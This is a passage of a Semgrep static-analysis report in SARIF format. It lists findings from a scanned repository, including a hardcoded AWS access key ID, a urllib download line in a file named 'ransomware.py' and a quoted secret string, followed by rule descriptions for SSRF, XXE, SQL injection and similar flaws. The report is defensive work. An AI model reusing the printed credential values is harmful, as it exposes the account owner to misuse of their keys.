\"AKIA2JAPX77RGLB664VE\""},"startColumn":16,"startLine":34}}}],"message":{"text":"AWS Access Key ID Value detected. This is a sensitive credential and should not be hardcoded here. Instead, read this value from an environment variable or keep it in a separate, private file."},"properties":{},"ruleId":"generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value"},{"fingerprints":{"matchBasedId/v1":"270dede60d47d0cb37166fcb71470c8044447deec017049b86d8bbb04f6ea87b6e53a2ebfc0c71814e87165b6e2474d3406f6a01f3ac4b28cd13462adbb06d2f_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"ransomware.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":51,"endLine":143,"snippet":{"text":"        urllib.request.urlretrieve(imageUrl, path)"},"startColumn":9,"startLine":143}}}],"message":{"text":"Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead."},"properties":{},"ruleId":"python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected"},{"fingerprints":{"matchBasedId/v1":"00585b3a7d2593710ee2218c2411dd1ede392cc623bf48f5263a4da843f083beb9233844eb4acea77dbbf056304cba26d19382785d99d61b9e152a7075432c69_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"snyk.sarif","uriBaseId":"%SRCROOT%"},"region":{"endColumn":77,"endLine":1370,"snippet":{"text":"                        \"line\": \"secret = '54efcbaed7f64673bc93b4e28ca9e8b2'\\n\","},"startColumn":34,"startLine":1370}}}],"message":{"text":"Generic Secret detected"},"properties":{},"ruleId":"generic.secrets.security.detected-generic-secret.detected-generic-secret"}],"tool":{"driver":{"name":"Semgrep OSS","rules":[{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret","id":"swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret","name":"swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Many different options exist to fix this issue depending the use case (Application can send request only to identified and trusted applications, Application can send requests to ANY external IP address or domain name)."},"help":{"markdown":"The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Many different options exist to fix this issue depending the use case (Application can send request only to identified and trusted applications, Application can send requests to ANY external IP address or domain name).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ssrf.web-request.ssrf)\n - [https://cwe.mitre.org/data/definitions/918.html](https://cwe.mitre.org/data/definitions/918.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Many different options exist to fix this issue depending the use case (Application can send request only to identified and trusted applications, Application can send requests to ANY external IP address or domain name)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ssrf.web-request.ssrf","id":"csharp.lang.security.ssrf.web-request.ssrf","name":"csharp.lang.security.ssrf.web-request.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ssrf.web-request.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret","id":"swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret","name":"swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-general-entities\" to false."},"help":{"markdown":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-general-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n","text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-general-entities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true","id":"java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true","name":"java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient key size for RSA. NIST recommends a key size of 2048 or higher."},"help":{"markdown":"Detected an insufficient key size for RSA. NIST recommends a key size of 2048 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)\n","text":"Detected an insufficient key size for RSA. NIST recommends a key size of 2048 or higher."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size","id":"python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size","name":"python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The alias in this location block is subject to a path traversal because the location path does not end in a path separator (e.g., '/'). To fix, add a path separator to the end of the path."},"help":{"markdown":"The alias in this location block is subject to a path traversal because the location path does not end in a path separator (e.g., '/'). To fix, add a path separator to the end of the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.alias-path-traversal.alias-path-traversal)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/)\n - [https://www.youtube.com/watch?v=CIhHpkybYsY](https://www.youtube.com/watch?v=CIhHpkybYsY)\n - [https://github.com/orangetw/My-Presentation-Slides/blob/main/data/2018-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out.pdf](https://github.com/orangetw/My-Presentation-Slides/blob/main/data/2018-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out.pdf)\n","text":"The alias in this location block is subject to a path traversal because the location path does not end in a path separator (e.g., '/'). To fix, add a path separator to the end of the path."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.alias-path-traversal.alias-path-traversal","id":"generic.nginx.security.alias-path-traversal.alias-path-traversal","name":"generic.nginx.security.alias-path-traversal.alias-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.alias-path-traversal.alias-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Warning MONGODB-CR was deprecated with the release of MongoDB 3.6 and is no longer supported by MongoDB 4.0 (see https://api.mongodb.com/python/current/examples/authentication.html for details)."},"help":{"markdown":"Warning MONGODB-CR was deprecated with the release of MongoDB 3.6 and is no longer supported by MongoDB 4.0 (see https://api.mongodb.com/python/current/examples/authentication.html for details).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymongo.security.mongodb.mongo-client-bad-auth)\n - [https://cwe.mitre.org/data/definitions/477.html](https://cwe.mitre.org/data/definitions/477.html)\n","text":"Warning MONGODB-CR was deprecated with the release of MongoDB 3.6 and is no longer supported by MongoDB 4.0 (see https://api.mongodb.com/python/current/examples/authentication.html for details)."},"helpUri":"https://semgrep.dev/r/python.pymongo.security.mongodb.mongo-client-bad-auth","id":"python.pymongo.security.mongodb.mongo-client-bad-auth","name":"python.pymongo.security.mongodb.mongo-client-bad-auth","properties":{"precision":"very-high","tags":["CWE-477: Use of Obsolete Function","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymongo.security.mongodb.mongo-client-bad-auth"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host)\n - [https://goteleport.com/blog/ssrf-attacks/](https://goteleport.com/blog/ssrf-attacks/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host","id":"go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host","name":"go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External XML Schema is allowed for identified XML parser. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"External XML Schema is allowed for identified XML parser. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"External XML Schema is allowed for identified XML parser. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","id":"java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","name":"java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context()' instead."},"help":{"markdown":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context()' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command)\n - [http://docs.paramiko.org/en/stable/api/client.html#paramiko.client.SSHClient.exec_command](http://docs.paramiko.org/en/stable/api/client.html#paramiko.client.SSHClient.exec_command)\n - [https://github.com/PyCQA/bandit/blob/d5f8fa0d89d7b11442fc6ec80ca42953974354c8/bandit/plugins/injection_paramiko.py](https://github.com/PyCQA/bandit/blob/d5f8fa0d89d7b11442fc6ec80ca42953974354c8/bandit/plugins/injection_paramiko.py)\n","text":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context()' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command","id":"python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command","name":"python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"help":{"markdown":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly)\n - [https://owasp.org/www-community/HttpOnly](https://owasp.org/www-community/HttpOnly)\n","text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly","id":"java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly","name":"java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'render text: ...' actually sets the content-type to 'text/html'. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Instead, use 'render plain: ...' to render non-HTML text."},"help":{"markdown":"'render text: ...' actually sets the content-type to 'text/html'. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Instead, use 'render plain: ...' to render non-HTML text.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text)\n - [https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#inline-renders---even-worse-than-xss](https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#inline-renders---even-worse-than-xss)\n","text":"'render text: ...' actually sets the content-type to 'text/html'. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Instead, use 'render plain: ...' to render non-HTML text."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text","id":"ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text","name":"ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.knex-express.knex-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.knex-express.knex-express","id":"javascript.express.db.knex-express.knex-express","name":"javascript.express.db.knex-express.knex-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.knex-express.knex-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected XOR cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use AES instead."},"help":{"markdown":"Detected XOR cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use AES instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor)\n - [https://stackoverflow.com/questions/1135186/whats-wrong-with-xor-encryption](https://stackoverflow.com/questions/1135186/whats-wrong-with-xor-encryption)\n","text":"Detected XOR cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use AES instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor","id":"python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor","name":"python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the 